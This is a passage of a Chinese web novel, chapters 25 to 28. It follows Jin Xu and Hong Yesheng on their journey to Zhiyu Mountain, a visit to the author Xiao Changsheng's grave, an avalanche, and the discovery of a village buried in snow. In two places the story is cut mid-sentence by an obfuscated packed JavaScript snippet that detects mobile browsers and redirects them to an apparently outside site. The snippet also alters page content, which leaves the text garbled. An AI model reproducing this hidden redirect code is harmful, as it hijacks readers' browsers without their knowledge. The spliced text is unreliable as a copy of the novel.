山路并不陡峭,有很明显的行人经常经过的痕迹,树叶浓密,不热不晒,金絮一面分辨这些树木的名称一面拾些花花草草,又在看得顺眼的地方将摘下的花草摆放过去。 日头斜偏后,步子开始变慢,金絮也摘不动花花草草了,眼看着洪叶生逐渐越过她走到她的前面去,并且离她越来越远。 金絮站定不动了,洪叶生适时停下,回身看她,道:“累了?” 金絮没说话,洪叶生笑道:“那休息会儿吧。” 他将马拴在树下,金絮倚树席地而坐,没忍住揉揉脚踝,她觉得有点沮丧,“我还以为我不娇气的。” 洪叶生拿来水囊和干粮,与她并肩,“这怎么能说是娇气,每人体力都是有限的。” “可是才走了一小短路啊。”金絮一指他们走来的山路,“这样下去要什么时候才能到,可能今年都到不了。” “无妨,不过是慢一点,迟便迟了。” 金絮却觉得不行,填饱肚子后昂扬士气,“过夜的地方还没找到呢,先找山洞。” 山阴面的山石底下终于找到矮洞,地面尚有一处不知哪个商队燃过篝火的焦黑痕迹。洪叶生拾柴点火,金絮拣些干草铺毯做床,他捕来一条鱼,金絮架锅煮鱼汤。 洪叶生取下那只布袋,金絮打开一瞧,里面原来是烹饪食物用的香料。 “你还准备了这个。” 金絮厨艺很一般,粗糙地煮出一锅鱼汤,残留了点腥味没去掉。 饭后,金絮在河边简单洗漱,更换里衣亵裤,洪叶生趁天还没黑透再拾些柴火,也是避嫌,好让她将事先准备的极薄的衣裤可以迅速烘干。 她拿出纸稿,就着火光写写画画,洪叶生将回来之际草草几笔结束。收起纸稿,她道一声晚安,翻身睡觉。 25. 刀已蒙尘 第二日继续赶路,翻过这座山后是金絮心心念念的大平原,洪叶生替她卸下木果的行李,她翻身上马,痛快驰骋。 初时尚不稳当,骑了几圈后逐渐找回当年的感觉,一时只觉快意潇洒,坐下如风。洪叶生也跨上荆风陪她飞扬,金絮神情欢畅,看着头顶碧蓝天空,恍惚间仿佛自己真成了自由的鸟儿,无拘无束,肩上所背的一切负担都在此刻甩之脑后。 小时候喜欢骑马是觉得能像母亲那般威风潇洒,长大后仍旧喜欢骑马,却只为这片刻的松快自由,但这感觉仅如同饮酒,酒醒之后,该忧愁的还是得忧愁。 兜转几圈,金絮便不骑了,喘几口气,载好行李,继续上路。 洪叶生牵着马,金絮随意采采花草,闲来无事打量荆风,注意到荆风鞍旁挂着他的佩刀,直接开口:“我想佩你这刀。” “会很重。”洪叶生没有同意也没有拒绝。 “不管。”金絮摸摸刀柄,悄悄拔出一截,刀刃寒光凛凛,反射着她,金絮不自觉将鼻尖慢慢靠近,好奇这刀身上是不是会有些什么味道。 隐隐有点锈味,再无其他。刀柄处突然传来一股力,将刀推远,金絮扭头,洪叶生收刀入鞘,道:“小心伤着。” 他解下整刀,系在她左腰,金絮顿感沉重,感觉一半腰快要垂到地上去。 “这才是仗刀走天涯嘛。” 她颇为满意。 然而,没走十里路,金絮远远地被洪叶生甩在身后,腰侧像是挂着座大山,连带双腿仿佛一步都能踩出一个印子。洪叶生依旧慢悠悠地走着,不到她停他都不会停。 金絮索性不停,低头看这刀,黑色刀鞘浮雕纹,比她手臂粗,刀柄一手堪堪握住。她拔出刀,腰上顿轻,她双手握柄,虚空一划,半点声响都无。金絮来了兴致,这时天际吹来一股风,她顺风一砍,顾自将风当做刀势,学着话本子中的英雄豪杰喊道:“拿命来!” 但无人应她。 金絮又一砍,“吾之仇人,拿命来!” 空砍几下又觉没意思,她四下里看看,将刀尖对准了洪叶生的背影。她眯了眯眼,扭腕一翻,泛白的刀刃映照着她。金絮仔细看着,一错眼似乎能看见这刀曾经覆盖的铁血寒光。 她调转刀头,试了几次才对准刀鞘,平安收入。 她站定不走了,洪叶生也即刻停下,平静地回身望她。 金絮与他遥遥相望。 “这刀啊,有一年没拔开过了。”洪叶生走来解下刀系回鞍上,道:“下回给你买把轻些的。” 他仿佛没听见她刚才犯傻似的喊话。 两人就地休息一会儿,金絮躺在草地上。白云刺眼,树荫为被,不知不觉睡了过去。醒来时天色未变。 “我睡了多久?” “两刻钟。” 她打个哈欠,气氛悠闲,见洪叶生拿着本书坐在她旁边看,金絮瞟了一眼,是《豪侠传》。 她凑近偷看,洪叶生正看到第八名侠士张秀之“莱阳楼义结金兰,冲冠一怒棒打匪寇”一回,她评价道:“这个张秀之就很贴合许多读书人心中最想成为的那个样子,能文能武,又具义气,做的好事都会得到别人的好报。” 张秀之算是笑长生笔下最受读者喜爱的人物之一,少年得官,武功颇高,为人仗义,几乎把笑长生一辈子想做却没做到的事都做尽了。 洪叶生道:“但我却是更喜欢陶瓶。” 她知道。陶瓶是第四位侠士,军中为将时立功无数,断臂返乡后发现妻子得病已离他而去,一腔悲愤化为侠肝,在乡中救死扶伤,垂名后世。 张秀之和陶瓶金絮都挺喜欢的,但她最爱的另有两人,一是女侠陈真真,二是男侠萧誉。 萧誉是书中第二位侠士,年少承袭父亲爵位,也是《豪侠传》中唯一一位权贵,却在及冠后毅然入伍,跟随陶瓶驰骋沙场,年近而立后娶妻生子,是笑长生笔下少有的一生圆满的人。金絮之所以喜欢萧誉,是喜欢他身上罕见的能兼顾豪迈与柔情的气质。 沙场点兵时的意气风发,对待心中所爱时的绕指柔情,这种特质真是很难在一个人身上同时见到,十分理想。 这些人物多多少少都带点笑长生的影子,因此读来感情深挚,动人肺腑。金絮这些年都快把这本书翻烂了。 两人一谈起这书就滔滔不绝,要不是金絮适时抬头发现快到傍晚了,否则可能连今日过夜的地方都没找到。 最终真的没有找到合适过夜处天就已黑透。洪叶生只得清出一片空地点燃篝火,席地过夜。这算得上是金絮首次真正意义上的野外露宿。 “到下个郡里需买顶帐篷了。” 金絮认同地点头。 洪叶生守到后半夜才睡,金絮早早醒来,翻身时察觉左腰异样,酸痛感甚为强烈,一触即疼,扭动更疼。估计是淤青了,她只好躺回去,忍着疼一点一点揉散。 洪叶生睡醒道了一句:“活该。” 随行带了跌打消肿的药膏,金絮龇牙咧嘴抹上一抹,一整天都扶着腰走路。几个时辰后,腰部疼痛扩散开,金絮再走不能,就地露营。她躺着,百无聊赖地拨弄草叶,比划地图算着照他们现在这速度真的要明年才能到了。 又行了四日,金絮腰伤恢复的同时终于抵达一座郡城,名载平。她客栈订了两间房,仔细洗个澡,好好吃一顿,再美美睡一觉。木果和荆风也终于可以吃点好草了。 隔天洪叶生提议要不要停留游玩几日,载平郡盛产瓜果和花卉,十月、十一月交接时正值菊花、木槿花、山茶花花期,可赏。金絮略一犹豫,还是不忍错过。如此一耽搁,再次启程已是十一月初了,余下大半的路程要在半个月内跨过。 洪叶生安慰她,既已然赶不及了,不如沿路多赏美景,心意到了就好。金絮心里微微发苦,但也只能放弃及时抵达支郁山的想法了。 十一月过中旬,路程尚未近半,金絮这日早晨被冻醒。 天蒙蒙亮,洪叶生安静地睡在不远处。篝火已熄,几支未烧的干柴堆在山洞内深处。她裹着毯子,从行李中取出一件大氅给洪叶生草草盖上,出至洞外看天色。一夜之间气温骤降,冷得猝不及防。 她哆哆身子,冷得再睡不着了,返回见他仍未醒,但算算时辰差不多应醒了,便在他身侧不远处架好柴火点燃,煮一锅水。 白水由平静转而沸腾,她发呆地看着,直到肚子饿了才收回神,一转头,发现他竟早已醒了,目不转睛地不知看了自己多久。 金絮移开视线,取下石锅,任水放凉,起身去找昨晚剩的半只烤兔子,拿木枝串好,放火上回回温。 洪叶生坐起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839760|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,看着自己身上的大氅发呆。金絮递去兔肉,随口一问:“昨夜不觉得冷么?” “还好。”他低头一笑,接了兔肉。 金絮吃肉,不理他,吃完收拾行李,卷好毯子,穿多一件棉衣,听见他道: “我最近似乎睡得多了些。” “那就多睡点。” 金絮不冷不暖一答,牵马上路,“走了。” 洪叶生道:“到下个地方该备多些衣物了。” “嗯。” 又往北上几日,金絮突然想起来一事,同洪叶生说:“这附近是不是快到旦白山了?听说入冬后旦白山的雪景好看。” 洪叶生点点头,“从这儿往东北行百八十里就到了,过年时的旦白山雪景最好,我们回来时可以绕路去看看。” “那敢情好。” 十一月底,路过铭郡,刚抵城,雪就下起来了。 这是离京后的第一场雪。铭郡多湖,金絮泛舟湖上,玩得兴奋。 次日她就病倒了。 昏昏沉沉烧了一天,几次睁眼都模糊看见洪叶生守在她床边,而后又烧了一天,到第四日精神终于好了点,金絮坐起来自己吃了碗粥,并喝了药。 “不如就在铭郡将这冬过了。”他道。 金絮一张嘴,话没说出来,咳嗽先行,她顺口气,道:“那不行,在铭郡过完冬岂不是要三四个月后了,支郁山还去不去了?” 她嗓子沙哑,鼻音严重,却说什么都不同意,洪叶生只好改口,说要她至少彻底养好病再出发。 金絮本身也走不动了,她觉得这铭郡的冬天冷得和太南郡、和京城都不一样。 当天夜里,她隐隐有复烧的迹象,晕得难受,睡又睡不着,看他紧皱眉头,不住给炉中添加炭火,便道:“你也去休息吧。” 他说:“若是我没跟着你来,你可怎么办?” 金絮无言,她得承认,如果没有洪叶生,单靠她自己可能根本无法完成这趟旅程,光是生病这一项就能丢掉半条命,且他沿路细问各处向导,完善那幅地图,一路才未走错方向,心细至此。 好在后半夜没有复烧,隔日醒来精神大好,金絮趁洪叶生不在时偷偷下床活动活动筋骨,结果恰巧被他发现,强行揪回床榻上。 待她彻底好转已是半月后,随着铭郡的落雪逐渐加厚,金絮被洪叶生裹上的衣物也逐渐加厚。她变成了一个粽子。 闷了十几日,金絮放开肚子去吃铭郡美食。这段时间,洪叶生加装了一辆马车,荆风和木果驾车,将所有行李放置车内,又添置了许多东西,还给她买了把趁手的软刀。 车内有火炉、毛毯,舒适得很,这样一看,金絮回想自己一开始还打算步行的想法简直天真至极,放着舒服的代步马车不选,非要步行骑马,也不怪在路上花费这许多时间。 “但是与你一起住宿野外的感觉还不错。”洪叶生同她道。 金絮看他一眼,寻思着刚才自己所想的话应该并没有说出来。 两人再度出发,洪叶生预计一个月内就能抵达支郁村。越往北走天气越冷,他每到一个地方停下做休整都会将马车修筑加固一番,让车身能够更加坚固地遮挡风雪和保温。 幸而一路没有遇见大雪封路的情况,行至小寒这日,支郁村终于近在眼前。 26. 龙形 入夜风雪突然大了起来。 “马车过不去了,今夜先在车里过夜吧。” 洪叶生掀帘进来道。金絮裹着厚厚的棉被斜靠在车角落,看他抖落身上的雪、关紧车门。他刚才已把马车外面的两层牛皮罩子扯下御风,锁住车轮,车内又铺了绒毯,点了两只火炉,可她还是觉得冷。 黑风黑雪呼啸,让人更增一倍听觉上的冷。 洪叶生打开车壁的小门,在堆放行李的后车厢拿出一个烧水的小炉子,水烧开后递给她,金絮吹了吹一口喝下便赶紧将手躲回被内。 “一个时辰前就看见支郁村的牌坊,为什么走到现在还没见到人屋?” “可能是搬迁过,牌坊没有一起搬走。”他喝几口热水,“天亮再找吧,农村人搬迁不会搬得太远,应该只在十几里地的范围。” “支郁山呢?” “我们现在应该就在支郁山中。” 金絮隔着紧闭的窗向外面看了一眼,“这山还挺大的。” “还冷么?”洪叶生给她一个热水袋,“睡吧,等你睡着后我就熄炉。” 不知是不是在廷尉受的鞭刑让身体不好了,她感觉今年冬天挺难熬的。被窝留一个透气的孔,金絮缩进被里抱着热水袋慢慢睡着了。 醒来时风雪声停了,天光大亮,洪叶生不在车内,他的被子盖在了她身上。金絮摸摸怀中的水袋,还是热的,应该是他换过了。她醒醒神,窝了一会儿后喝下几口水,便穿上两件厚衣和雪靴,将被叠好,推门出去。 金絮环顾四周,马车躲在一处山洞里,洞内不高但很深,有好几处燃过篝火的痕迹,洞口堆了稀疏的枯枝挡风,枯枝上都挂着雪。 她越过枯枝走出去,洞外的积雪铲过了,露出一片残雪的土地,空地中间起了两口大锅,正煮着什么,滚滚热气冒出。洪叶生穿着纯黑大氅,正在给荆风和木果喂草。 他看过来,“汤煮好了。” 金絮小跑去揭开锅盖,一锅野兔,一锅山鸡,汤面浮着一层油花,材料丰富,香气四溢。 “你吃了没有?” “还没。” “下次不要等我。” 洪叶生拿来碗筷,金絮两锅各吃了一大碗,身体终于热起来。 金絮去看看荆风和木果,它们毛长得很长,昨夜洪叶生也有给它们裹上一层皮布御寒。 洪叶生拿出怀中的一只小指长的竹哨,吹响,清越的哨吟惊动积雪。声音还未落下,四个暗卫从树林深处跃出,端起那两口大锅又跃回树林深处。 “躲什么,我都看见了。” 金絮到他们躲回树林的位置高声喊道:“谢谢你们一早起来铲雪和打猎!” 她等了几息,林子里传来两下短促的哨音,算是对她的回应。 洪叶生笑道:“意思是‘不用谢’。”他复架起一锅烧水,水里撒了些驱寒的药材,金絮备好水袋等着。 “今年要在支郁村过年了。” “也可过冬。”他道。 金絮长这么大还没有在除太南和京城以外的地方过年,不知这乡里人家的过年氛围会不会有什么不同。 她挺期待的。 “接下来去哪儿?” “山的另一面有座寺庙,笑长生的遗宅和墓碑应该也在这座山的某处地方。马车走不了了就留在这吧,咱们骑马。” 金絮收拾部分行李挂在马鞍上,太阳渐渐暖起来后与洪叶生向山上走去。 “这山有多大啊?” “比京城郊外的序山还大。” “哦——那我们要怎么找到笑长生的墓地?” “先去那座寺庙看看吧,有人的话就问一问。” “运气好的话,说不定走几步就看见了。” 有一搭没一搭地闲聊,金絮斗篷下袖着手,赏景悠走。偶尔飞过几声鸟雀的鸣叫,树木时疏时密,光秃秃的枝丫挂着残雪,太阳照其上,雪水滴滴下淌。 “这里的雪景比旦白山的好看吗?” “我没有去过旦白山。” “我觉得这里不太好看。” “太南最好看。” 金絮一笑。 没多久乌云浓起来将太阳抹去,洪叶生看了看天色,道:“很快又要下雪了。” 这时林中某处传来一道哨音,惊起一滩鸟群,尾音在林间回荡。金絮只觉这音环绕周身,辨不清是从何处传来,洪叶生却是听准地回复一音,即刻牵着她向一个方位走去。 “应该是找到笑长生的遗宅了。” 金絮由他牵着,未行多远,便从山崖处透过树尖看到一所融在一片白茫中的黑瓦屋,雪光难掩其破败之色。 二人骑马到屋前,整个院子厚雪覆盖,两间房屋一大一小,小的被风雪压塌了,大的门前雪已积了半门高。 洪叶生翻找出一根粗树枝扫门前雪,勉强将门打开。金絮走进屋中,冷冻的灰尘散发霉味,屋内阴冷的气息比屋外尤甚,三四件古旧的陈设,可以遥想笑长生晚年的贫困潦倒。 洪叶生在屋外唤她,金絮出门未见他人,绕到屋后才见到他,和一块掩在雪地里的墓碑。 正是支郁笑长生的墓碑。碑名江海。 金絮扫除落雪,祭上假花美酒,和洪叶生一起拜了三拜,烧了纸钱,心中可惜无缘得见笑长生真人。有些话想说,但又觉无谓说起。 纸钱烧尽,金絮返回屋中,找找有没有笑长生遗留的手稿,结果翻遍屋不仅找到了遗稿,居然还意外找到了他为自己写的传记。金絮略略一翻,不禁失笑。 “陈真真果然是仿照他的妻子写的。” 难怪那么逼真,难怪张秀之会那么喜欢陈真真。 金絮将纸稿收拾进行李中,此番行程的目的已达,下一步就是去旦白山了。她想唤洪叶生,扭头正巧看见他悄悄躲于一棵树后,面见一个黑衣人。 那黑衣人是他的暗卫,不知在交代些什么。金絮放轻步伐偷偷接近,没走两步,洪叶生立刻转头看来,金絮站定不动,他一挥手,黑衣人飞身远去。 “那庙是个破庙,似乎有人居住;今晚就住这儿吧,明日一早返程。” 金絮点头应好。 此时乌云的影子覆下,看不清天色,时辰算来应当刚过午。洪叶生出外拾柴,金絮牵马匹进屋。厨房里还有一堆落灰的干柴,她简单收拾下在灶台点燃柴火,清出睡觉的地方,再准备煮汤用的器皿。 很快天完全暗下来。落雪蔽空而至,又在转眼间骤然加大,白雪在天地间仿佛变成了黑色,打得破屋摇摇欲坠。 金絮听着天花板的响动,拉开一条门缝,惊骇地看着大雪。狂风吹进屋内,混着灰尘肆虐,身体渐渐被冻僵,洪叶生还没回来。 不远处山路间出现人影,她凝眸看去,却见一男一女一少三人互相搀扶走来,风吹得他们直不起腰。男人冲着金絮喊了什么,她没听清。 待三人走至门前,金絮开门让他们进来。 正要锁住门,风雪中又出现两个人的身影,竟是洪叶生身边的两名暗卫。金絮让他们进屋,两人都蒙着面,身上衣服不算太厚。 “你们听不听我说话?”金絮问。 其中一人对她一揖,“听的,姑娘,我们奉主子之命保护您” “他人呢?” “大雪封了山路,主子被困在了山西面,只来得及吩咐我二人保护您,并告诉您不用担心。” “你们不是去拣柴的吗?” “是的,大风吹起来时将山顶的雪刮了下来,封住了山路,主子当时正好靠近山顶。” 他们还带来了两捆柴。 “你们那个哨子呢?联系不到他吗?” 黑衣人摇摇头,“雪滚下来之后就听不见了。” “那地方有没有能挡风雪的山洞之类?” “未来得及察看。”这人答得一板一眼。另一黑衣人道:“姑娘您不用担心,那附近靠近岩壁,应当是有能遮蔽风雪的地方,主子爷定平安无事。” 炉灶内的弱火静静燃烧,噼啪声在风雪呼啸下近乎不闻,屋内明明很冷,她却觉得此刻心里的火正在燎原。 “你们抖抖雪吧,然后去烤火。”她道。 他们抖落雪,却并未烤火,而是纵身一跃,隐身于屋顶横梁的黑暗中。 金絮转头注意那躲雪的三人。看起来是一家子,夫妻二人带着未及弱冠的儿子,老人脸上满是 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少年点点头,“雪很大,村子人都躲出来,在别的村和庙里。”他用方言和父母亲交谈几句,又向金絮道:“这雪二十年没见过,很大。” “你们刚才过来,路上有没有遇见别的什么人?” 少年问了问父母,然后说:“没有。可能有,但没看见。” “这雪什么时候会停?” 少年摇头,“不知道,以前没有这么大雪,一般的雪最多下一夜就会停一日。” 金絮皱眉,心里的火渐渐焦灼,却无可奈何,招手示意他们去炉灶那边烤火。他们感激地鞠躬,金絮这才发现他们随身的行李很多,锅碗瓢盆都有,布袋绣着像是四爪泥鳅的绣纹,不过绣工略为粗糙。 金絮盯着看了一会儿,还是开口问:“你们这袋子上绣着的是什么?” “笼。”少年答。 “龙?” 少年告诉她:“这是我们支郁村最多的东西,可以吃的,村长很喜欢。” 看模样,可能是黄鳝或者泥鳅。她此刻心里想不下其他,蹲坐在灶边一瞬不瞬地看着火光,但感念他们老实质朴的农人模样,还是好心提醒道:“这东西为什么有四个爪子?这在支郁村里还能吃,到支郁村外再吃就是犯上。” 少年没听懂,似是见她话多了便小心翼翼靠近她,“姐姐,你们为什么到这里来?” 金絮揉着眉心,“我来拜见这间屋子的主人。” “这里?”少年跟父母说了几句话,再跟金絮说:“前几年住在这里的人已经死了。” “我知道,我就是来拜祭他的。”金絮发觉自己有些不耐,强迫自己静下心来。 那少年道:“我很喜欢江爷爷,他人很好,教我写字读书,我的官话就是他教的,但我学不好。” 金絮扭头看了他一眼,还是笑了一下,“你说的很不错了。” 得到夸奖,少年很开心,肚子却咕噜一叫,他有些尴尬地缩回去。 金絮只当没听见。马背携带的存粮不多,更多干粮放在山脚的马车内,且不知这雪什么时候会停,她还需等到洪叶生,因此至少要到入夜才能吃饭,留一点给明早有的吃才行。 她起身,拿了张毯子递给三人,妇人极为感激地接过。 感激不达她心里,金絮屈腿坐下,无能为力地任由屋外的狂风怒雪在她心中肆虐。 不知过了多久,天色暗极,金絮也饿起来,她起身,翻出吃剩的肉块和干果干菜,架锅煮汤。她存的水不多,煮了这锅汤就只剩一水袋给洪叶生,柴也不多,只能小火热一热算作煮过,以便能够留柴过夜。 煮好后,她盛出自己的一碗,再给那两个暗卫各盛一碗。 “你们下来吃些吧。” 暗卫跳下来,端碗躲一旁去掉面罩喝汤,金絮也不看,知道他们被看见容颜会很麻烦。 剩下的再给那一家人,夫妻俩说着什么接过。妇人眼里有了泪光,他们把肉都挑给了儿子。金絮不言地吃着自己的。 屋内很快又安静下来,金絮抱膝缩坐,荆风和木果围在她旁边,那一家三口慢慢睡着了。 金絮听了一夜雪声。 27. 雪里的内容 柴还是不够一夜烧的。最后一根树枝燃尽后,金絮指着陈旧的木质摆设抬头道:“你们能帮我拆一下这个吗?” 黑衣人干脆利落地将屋中所有可移动的家私都拆成了木块,火继续烧了起来。 “你们也来烤火吧。” 两个黑衣人听话地去烤火。金絮给他们洪叶生穿的大氅,他们不接,给他们换个她用的、小一点的棉被,他们便接了。现在愿意烤火,又把棉被脱下还给她。 金絮裹着斗篷和棉被缩在角落,不知他此刻心情如何。 外面风雪声不减,她算着时间,应该还有一个时辰天亮, 满耳的呼啸声中突然夹杂一道轻微的轰隆音,金絮听见了还不及反应,就见两个暗卫迅速站出,各拿了两条将床拆掉后作柴烧的长木板,摆出随时将木棍扔出去的姿势,站在金絮前方面对堂屋方向等着什么。 轰隆声渐大地逼近,似有什么东西滚滚而来。金絮意识到不对劲,站起身牵马往厨房后方躲。下一刻,重雪没顶而至,整间堂屋和与厨房的连接处被雪压塌,木头断裂声和墙壁破碎声在大雪覆盖下显得沉闷很多。荆风和木果受惊嘶鸣,灰尘漫天,冷气更甚。 “往后躲!”暗卫大喊。 金絮扯袍挡灰,用力牵着两马直后退至墙边。寒气逼近,屋内被雪尘填满,她呛了几口,什么都看不见,只听见暴雪呼啸覆没的声音和暗卫将木棍投出去的破空声。 接着头顶的房梁也压断了,狂风夹雪灌入,她立刻抱头贴墙角蹲下,但房梁没砸下来,她小心抬头看去,黑暗中模糊见到两个闪来闪去的身影,应该是掉下的房梁被暗卫踢插到崩塌处阻雪淹没最后一点空间。 巨雪一次滚下后很快便静了,金絮站起来,翻找火折点燃。火光照处,她面前是两马,马前是那两个暗卫,她再看那一家三口,都平安无事。混着压塌的房梁墙砖的巨大雪堆就在距暗卫数步外。 暗卫挖出压在雪堆下的木板,爬上雪堆去填补屋顶的缝隙,阻止狂风吹入。 金絮心有余悸,“是雪崩了。” 这屋子本就位于山沟处,陈年的墙筑就像豆腐,大雪一压即碎,一侧山峰的雪滑下来轻易能把整间屋子淹没。他们运气好,还剩了点地方没有被雪覆盖,六人两马挤在这剩余的空间内,点火的地方都没有,灶台都被埋了。 她打多个火折,仔细观察,确定身后这堵墙没有坍塌的迹象,才劫后余生地出口气。靠暗卫扔的木棍支撑塌下的屋顶和雪堆是没用的,若不是运气好,即便暗卫将她救出这间屋子,她也很大可能会在雪停之前冻死在外面。 “姑娘没事吧?” “没事。” 她又看向那三人,除了受了不小的惊吓外,没有别的外伤,一家子抱在一起说着什么。 两条棉被都不知被雪压在了何处,她裹紧斗篷贴马蹲坐,用火折子取暖,狭小的空间内只有她手中这一点光亮。 众人挤挤挪出一块地,暗卫拣几块木板架好,金絮试着点燃,火不够大,木板上残留的雪触火融化后柴就湿了,点不燃。 金絮只好等待,天应该快亮了。 六人寂静无声,都在保留体力,能听见的只有那少年牙齿打颤的声音。 她穿的还算多,虽然冷,但不吹风的话不至于冻到身体里,冻僵的是裸露在外的手指和脸庞。 她的手很冷,她记得洪叶生是随身有带着手套的。 她尚且有这堵墙作遮挡,不知洪叶生那边怎样。 又过了很久,金絮并未感到困,那夫妻二人渐渐要睡着的样子,被母亲抱在怀中的少年不停地跟父母说话,说着说着声音小下去。她不忍心,爬去将身上的斗篷给三人盖上。 “姑娘。”暗卫言下阻她。 金絮缩回马旁,披上洪叶生的大氅,紧靠着荆风和木果取温。 这时,一个暗卫忽地抬起头,“哨音。”他立刻沿雪堆弯腰走到屋顶,掀开木板探出只手,道:“风小了。” 另一个护卫也道:“有。” 金絮静听,这下也听到了,真的是哨音。 暗卫吹哨回复,她凝神细听,那道哨音却不再响起,没多久她听见一声大喊: “金絮!” 是洪叶生的声音,金絮站起来,正要爬上去,屋顶便被人掀开。光线照入,洪叶生在屋顶之上探头往下看。 金絮也抬头,见他外表与昨天看起来没有分别。他顺着雪滑下来,衣裳部分浸湿了,面具下的神色有些憔悴,头发又湿又凌乱,手部无冻伤的痕迹。 洪叶生急忙上前握住她的手,“你怎么样?冷不冷?怎面色如此不好?” “我没事,冷是冷,但没冻坏。”他的手很冰,金絮脱下大氅给他披上,洪叶生又取下给回她穿着,“先离开吧,这里随时会塌。” 金絮一指,“那还有人。” 洪叶生看一眼,吩咐暗卫将那一家人和马匹带出去,便拥着金絮爬上雪堆,一脚跳到屋顶。 空气骤然清新,风雪近乎停了,只时不时飘些细雪,天空有淡薄的乌云也有微光。四周雪积得十分厚,所见皆白,无一异色,尚不刺目。 金絮拿出揣在怀中的纸包递给他,他疑惑接了,打开一看是肉干,朝她笑了笑。 洪叶生又吩咐暗卫扫出片空地架锅,可雪崩的地方过于紧实,难扫,松软的地方又厚得让暗卫一跳下,半身便没在积雪里。其他护卫都站在不远处的树枝上,根本无地落足。他们穿的黑色衣服在此刻看来十分夺目。 洪叶生四处张望,寻找积雪较少的地方,金絮问他:“你昨夜在哪儿过夜的?” “一个山洞里,勉强避了一夜。” 他想到了办法,拥着金絮站在墙头,拆下屋顶的木板用力掷入雪地中,木板直直地立着,护卫们便有了立足的地方,用削平的木棍作铲,很快清出一片空地。 有护卫拿了些存放在山脚马车里的食物过来,劈了棵树当柴,再向妇人借口锅,金絮着手准备煮肉汤。 火旺,汤很快煮沸,加了香料的汤水泌出香气,金絮边煮边烤火。 她的衣摆被人扯了扯,一扭头,是那少年正迫切地看着她。 “怎么了?” 少年还未动作,她突闻洪叶生怒道: “大胆!” 金絮循声看过去。 “尔等平民,绣纹岂敢用龙形?!” 那对夫妻用来装东西的布袋被洪叶生攥在手里,袋面赫然绣着她昨天见过的四爪泥鳅。洪叶生怒气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839762|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十足,夫妻俩在他威严下瑟瑟发抖,衣着单薄地跪在雪地里,身上还披着金絮的那件斗篷。妇人小心兜着边缘不让斗篷扫地,丈夫着急地跟他说着什么。 金絮走近道:“洪公子原来不是平民啊。” 他气势霎时一顿,脸上面具闪闪发光,“呃,不......我并不是......” “你说这些话他们听不懂的,”金絮拿过那布袋,“况且,皇帝的权利可管不到这么偏远的地方。” 他有些皱眉,却没对她说什么。金絮打量那绣纹,昨天没看清,现在才看出来绣得很粗糙,龙的背脊、尾部和龙头针线紊乱,眼睛部位线头交叠,不过鳞片排列尚算整齐。确实是个龙形,但因针法过于杂乱,非要说不是条龙也可以。 “我看就不像龙嘛,像个高贵点的四爪泥鳅。”金絮拿眼撇着洪叶生,“你若是以此想说他们犯上,我觉得是不成立的。” “皇家威严,岂容亵渎!” “哪怕是绣得好的龙,在我看来也是只四爪泥鳅。这是他们村长喜欢的东西,可以吃的,所以用作绣纹,村里人也跟着效仿。可能是黄鳝或者泥鳅吧,在当地就这么绣的。你要责怪也应是责怪县衙监管不力。” 距离这最近的一个县是白沙县,最近的一个郡是并阳郡。 “你且去和他们说,以后再不准绣这类东西了。”洪叶生一拂袖,“这次只是被我看见了,再有下次我便保不得了。” “是么?”金絮看着他的双眼,“他们若是真的犯上,洪公子打算怎么保?” 洪叶生不避地与她对视,“我自有我的办法,你只管和他们说。”说罢,走到锅旁,“煮好没有,我饿了。” 金絮道:“他们是支郁村人,村子被大雪淹了,以后这一带也不会有人再拿绣泥鳅当有趣。” 他一愣,“村子被淹了?” 金絮拿妇人的碗准备分装,仍看着他道:“对啊,那个小男孩告诉我的,村里的人好像都躲出来了。你的人不是一直没找到村子在哪么,被雪淹了当然找不到。” 他想了一想,转头吩咐暗卫喝完汤后一批人沿山沟寻找村子赶去救援,另一批去山头的庙里打探情况。 不用他说,金絮也已知道村子在何处了。 前一天晚上下的雪就已经将村子淹了,这一家三口才会收齐行囊出来避难。能淹得这么快,那村子肯定跟笑长生的屋子一样处在山沟中,而暗卫们大多是从山高处向下俯瞰寻找,容易被大雪遮挡视线,沿山沟去找会更容易找到。 而这家人没有去破庙避难,却走远路来笑长生的屋子,很显然,那庙里已塞满了人,更有可能,庙外也堆满了被冻死的尸体。 几人喝完汤,洪叶生遣一人拿他令牌去白沙县让县衙立刻派人搜救。几条山路已被大雪封住,不会武功的人很难走出去,那一家三口留在原地,金絮给他们一些肉干,便跟随洪叶生去往找寻支郁村。 沿山沟循雪浅的地方,骑马很快找到了。 金絮几乎被眼前的景象震慑住。 虽然生活不算如意,但她久居福贵之地,即便往年听过许多躲避冬灾的难民流连各地,听他们说雪里每年都埋了很多东西,却一直不曾亲眼见到,这雪里埋着的内容竟是等死。 28. 赈灾(一) 整个村子都被雪埋了。 只能看见仅有的一点屋迹。 村子一侧是环村绕过的支郁河,此刻已被冻结了,河岸的几间残屋证明这里的确有个村子。山峰滑落的雪像瀑布,从山腰断崖式下跌,村子正好就在瀑布底下。 金絮本来还疑惑为什么村民会搬迁村子,当太阳出来后她便意识到了。 按她和洪叶生进村时路过的那个牌坊的位置来看,支郁村原本应是在山阴面,照不到太阳,农作物收成不好,于是村民决定将村子围山绕半圈,驻扎在了山阳面。 现在的支郁村不完全是在山沟里,但所处地势很陡,从山脚延伸到河流,整个村子地势是斜的,大雪就像流水一样窜过全村。 而且雪应该覆了两层,如果是一夜之间就成现在这样,村民不太可能逃出来。 